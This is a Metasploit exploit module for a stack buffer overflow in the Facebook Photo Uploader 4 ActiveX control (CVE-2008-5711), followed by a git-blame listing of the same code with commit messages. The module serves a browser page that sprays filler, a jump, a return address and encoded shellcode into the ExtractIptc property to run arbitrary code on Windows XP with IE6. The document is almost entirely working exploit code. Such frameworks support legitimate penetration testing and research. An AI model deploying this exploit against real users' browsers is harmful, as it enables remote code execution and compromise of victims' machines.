modules/exploits/windows/browser/facebook_extractiptc.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Facebook Photo Uploader 4.
        By sending an overly long string to the "ExtractIptc()" property located
        in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-5711' ],
          [ 'OSVDB', '41073' ],
          [ 'BID', '27534' ],
          [ 'EDB', '5049' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English',     { 'Ret' => 0x74c9de3e } ], # 02/07/08
        ],									               # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
      'DisclosureDate' => '2008-01-31',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	  = rand_text_alpha(rand(100) + 1)
    strname = rand_text_alpha(rand(100) + 1)
    rand1   = rand_text_alpha(rand(100) + 1)
    rand2   = rand_text_alpha(rand(100) + 1)
    rand3   = rand_text_alpha(rand(100) + 1)
    rand4   = rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    filler  = Rex::Text.to_unescape(rand_text_alpha(2))
    jmp     = Rex::Text.to_unescape([0x969606eb].pack('V'))
    ret     = Rex::Text.to_unescape([target.ret].pack('V'))
    sc      = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Build out the message
    content = %Q|<html>
<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>
<script language='javascript'>
#{rand1} = unescape('#{filler}');
while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
#{rand2} = unescape('#{jmp}');
#{rand3} = unescape('#{ret}');
#{rand4} = unescape('#{sc}');
#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
#{vname}.ExtractIptc = #{strname};
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`##`
use https for metaploit.com links 2017-07-24 06:26:21 -07:00			`# This module requires Metasploit: https://metasploit.com/download`
Redo the boilerplate / splat 2013-10-15 13:50:46 -05:00			`# Current source: https://github.com/rapid7/metasploit-framework`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`##`

use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
add ranking to every exploit module, pfew! 2009-12-06 05:50:37 +00:00			`Rank = NormalRanking`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00
This massive commit changes the metasploit 3 module format. The new syntax allows for greater scalability and future improvements to the metasploit module loader. This change also makes it easier for users to add new modules, since the class name no longer needs to match the directory structure. 2008-10-02 05:23:59 +00:00			`include Msf::Exploit::Remote::HttpServer::HTML`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00
			`def initialize(info = {})`
			`super(update_info(info,`
			`'Name' => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',`
			`'Description' => %q{`
stop perpetuating the ambiguity! 2010-05-09 17:45:00 +00:00			`This module exploits a stack buffer overflow in Facebook Photo Uploader 4.`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`By sending an overly long string to the "ExtractIptc()" property located`
			`in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute`
			`arbitrary code.`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`},`
			`'License' => MSF_LICENSE,`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`'Author' => [ 'MC' ],`
			`'References' =>`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`[`
Massive OSVDB reference update from Steve Tornio. 2009-06-07 20:20:42 +00:00			`[ 'CVE', '2008-5711' ],`
Revert "Land #6812 , remove broken OSVDB references" 2016-07-15 12:00:31 -05:00			`[ 'OSVDB', '41073' ],`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`[ 'BID', '27534' ],`
Update milw0rm references. 2012-06-28 14:27:12 -05:00			`[ 'EDB', '5049' ]`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`],`
			`'DefaultOptions' =>`
			`{`
			`'EXITFUNC' => 'process',`
			`},`
			`'Payload' =>`
			`{`
			`'Space' => 800,`
			`'BadChars' => "\x00\x09\x0a\x0d'\\",`
fix PrepenEncoder typo, replace it with 'StackAdjustment' => -3500 2008-08-01 20:04:42 +00:00			`'StackAdjustment' => -3500,`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`},`
			`'Platform' => 'win',`
			`'Targets' =>`
			`[`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`[ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`], # ./msfpescan -i /tmp/oleacc.dll \| grep SEHandler`
Convert disclosure dates to iso8601 2020-10-02 17:38:06 +01:00			`'DisclosureDate' => '2008-01-31',`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`'DefaultTarget' => 0))`
			`end`

			`def autofilter`
			`false`
			`end`

			`def check_dependencies`
			`use_zlib`
			`end`

			`def on_request_uri(cli, request)`
			`# Re-generate the payload`
			`return if ((p = regenerate_payload(cli)) == nil)`

			`# Randomize some things`
			`vname = rand_text_alpha(rand(100) + 1)`
			`strname = rand_text_alpha(rand(100) + 1)`
			`rand1 = rand_text_alpha(rand(100) + 1)`
			`rand2 = rand_text_alpha(rand(100) + 1)`
			`rand3 = rand_text_alpha(rand(100) + 1)`
			`rand4 = rand_text_alpha(rand(100) + 1)`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`# Set the exploit buffer`
			`filler = Rex::Text.to_unescape(rand_text_alpha(2))`
			`jmp = Rex::Text.to_unescape([0x969606eb].pack('V'))`
			`ret = Rex::Text.to_unescape([target.ret].pack('V'))`
			`sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))`

			`# Build out the message`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`content = %Q\|<html>`
			`<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>`
			`<script language='javascript'>`
			`#{rand1} = unescape('#{filler}');`
			`while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');`
			`#{rand2} = unescape('#{jmp}');`
			`#{rand3} = unescape('#{ret}');`
			`#{rand4} = unescape('#{sc}');`
			`#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};`
			`#{vname}.ExtractIptc = #{strname};`
			`</script>`
			`</html>`
			`\|`

Remove spurious cli.peerhost in output 2012-04-20 13:31:42 -06:00			`print_status("Sending #{self.name}")`
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00
			`# Transmit the response to the client`
			`send_response_html(cli, content)`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00
added exploit modules wincomlpd_admin.rb and facebook_extractiptc.rb. 2008-02-07 23:08:14 +00:00			`# Handle the payload`
			`handler(cli)`
			`end`
Massive OSVDB reference update from Steve Tornio. 2009-06-07 20:20:42 +00:00			`end`